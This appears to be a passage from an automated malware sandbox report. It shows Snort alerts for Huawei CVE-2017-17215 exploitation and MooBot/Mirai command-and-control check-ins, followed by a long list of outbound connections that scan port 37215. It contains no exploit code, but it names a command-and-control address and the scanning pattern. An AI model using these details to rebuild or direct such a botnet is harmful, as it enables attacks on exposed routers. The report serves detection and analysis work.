Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38080 -> 41.233.130.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38080 -> 41.233.130.81:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56870 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56872 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.15:56874 -> 103.172.79.74:43957

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 103.172.79.74 ports 43957,3,4,5,7,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 43104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 38080

Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.19.51.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.9.254.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 139.206.236.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.204.159.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.2.216.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 218.167.10.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.95.120.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.255.232.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.230.90.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 85.120.254.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.1.158.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.206.211.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.245.96.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 73.2.122.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 35.62.205.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.35.215.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.145.9.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.92.54.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.67.233.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.135.195.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.224.7.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.169.179.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.203.218.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.146.127.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.39.25.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.27.22.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.229.180.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.215.21.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 199.76.48.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.223.210.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.28.177.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.6.2.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 223.91.134.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 116.140.30.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.48.168.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.21.187.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.8.247.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 132.24.171.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.172.242.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.234.115.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 47.202.228.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.180.82.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 75.208.11.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.68.111.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.110.151.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.200.88.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.244.203.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 86.88.9.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.6.120.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.158.83.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.132.154.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 39.212.105.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.43.4.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.35.99.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.215.16.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.207.230.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 71.118.177.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.112.221.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 211.75.47.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.186.119.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.178.235.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.217.61.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 48.213.58.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.10.183.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.20.153.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.107.210.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.166.208.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 14.183.0.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.82.44.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.149.156.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.180.118.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.149.150.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 159.103.21.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 24.215.184.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.65.195.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.99.148.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.104.22.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.22.156.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.118.41.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.1.111.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.217.140.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.5.234.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.211.44.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.180.236.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.129.13.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.227.92.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.247.83.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.27.200.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.22.205.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.91.71.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.237.206.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 110.167.94.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.93.41.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.151.52.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 179.3.40.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.222.212.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.216.142.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.232.209.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.154.222.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.144.63.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.250.150.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 60.104.136.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.255.137.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.152.117.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 62.114.134.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.129.64.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.28.127.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 81.243.49.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.246.233.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.245.158.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.206.212.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.201.179.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.148.135.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.252.219.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 17.249.27.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 116.20.58.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.19.215.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.206.21.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.213.118.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.202.188.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.76.99.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 221.48.127.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.238.136.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.202.34.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.40.176.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.171.1.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.209.119.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.100.173.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.34.0.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 8.146.236.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.47.157.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 199.168.157.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.44.173.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.116.199.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.221.127.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.170.76.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.193.60.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 83.203.12.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.82.137.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 82.43.233.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.133.117.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.175.6.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.37.204.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 71.141.215.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 190.119.45.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.33.87.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.122.203.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.169.235.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.101.91.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.0.63.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.160.188.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.127.69.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.63.136.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 140.75.254.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.124.57.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.2.165.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.116.197.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.184.111.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.233.61.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 24.7.10.248:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.166.119.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 99.171.201.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.237.120.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.37.61.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.86.165.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.165.66.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 54.171.218.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.178.119.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.119.38.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 173.167.16.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.235.247.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.223.203.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.119.32.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 90.81.248.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.45.193.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 100.45.34.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 106.207.161.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.204.40.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 156.32.201.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 40.58.59.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.19.232.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.168.222.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 174.168.119.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.173.165.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.139.129.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 193.85.162.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 110.240.8.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.123.161.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.72.175.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.3.80.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.102.218.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.41.37.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.65.55.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.111.124.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.1.63.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.215.144.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.38.188.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.91.164.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.63.73.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 107.88.94.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.214.81.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.179.198.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.248.66.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.63.85.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.149.14.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 170.66.189.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 202.7.201.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.20.123.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.40.25.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.50.30.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.160.180.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.81.240.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.217.172.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.15.185.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.49.152.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.125.173.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.54.229.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.46.144.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.157.110.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.246.9.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.57.130.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.134.180.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.251.42.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 64.220.122.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.37.150.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.155.29.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.166.20.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.13.128.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.16.159.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 32.189.3.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.53.225.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.29.234.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.149.181.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 116.211.32.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.229.122.131:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.62.173.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.25.60.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.162.10.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 89.131.81.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.237.32.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 210.218.188.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.57.5.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.207.49.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.103.19.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.25.15.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.88.46.51:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.208.244.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 188.29.235.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.190.138.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.30.106.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 175.17.69.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.213.199.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.11.188.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 147.195.89.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.37.231.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.113.165.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:56830 -> 103.172.79.74:43957
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.139.119.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.46.71.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 139.129.10.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 181.170.178.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.165.111.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.134.176.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.164.5.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 8.37.243.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 216.57.86.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.71.143.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 39.193.154.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.88.112.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 190.196.64.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 207.198.36.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 223.31.83.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.203.18.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.12.136.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.0.182.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.244.52.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.135.221.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.189.72.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.9.233.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.32.109.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.247.11.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.34.100.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.77.6.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 81.114.148.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.159.186.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.42.104.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.213.220.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 84.132.176.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.16.98.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.232.2.21:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.167.199.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 211.241.90.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 137.41.142.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.31.114.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.123.241.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.17.126.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.178.96.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.115.146.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 101.219.130.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 100.44.167.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.160.67.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.69.218.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.157.173.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 82.194.142.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 62.216.14.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.92.164.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 113.110.189.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 194.248.134.64:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.92.40.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.34.33.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.113.182.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 48.54.167.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.108.148.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 53.76.57.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.225.132.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.45.157.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.25.30.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.133.218.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.103.104.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.16.167.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.6.123.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.142.159.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.47.232.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.251.136.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.193.184.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.179.77.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.207.93.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.73.116.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.70.69.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.206.99.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.194.101.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.51.81.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 45.109.147.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.59.168.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.138.144.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 123.4.45.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.195.223.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.213.196.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.117.163.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.54.222.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 107.92.1.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.109.7.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.110.223.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.142.106.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.214.149.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.6.139.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.84.168.136:37215
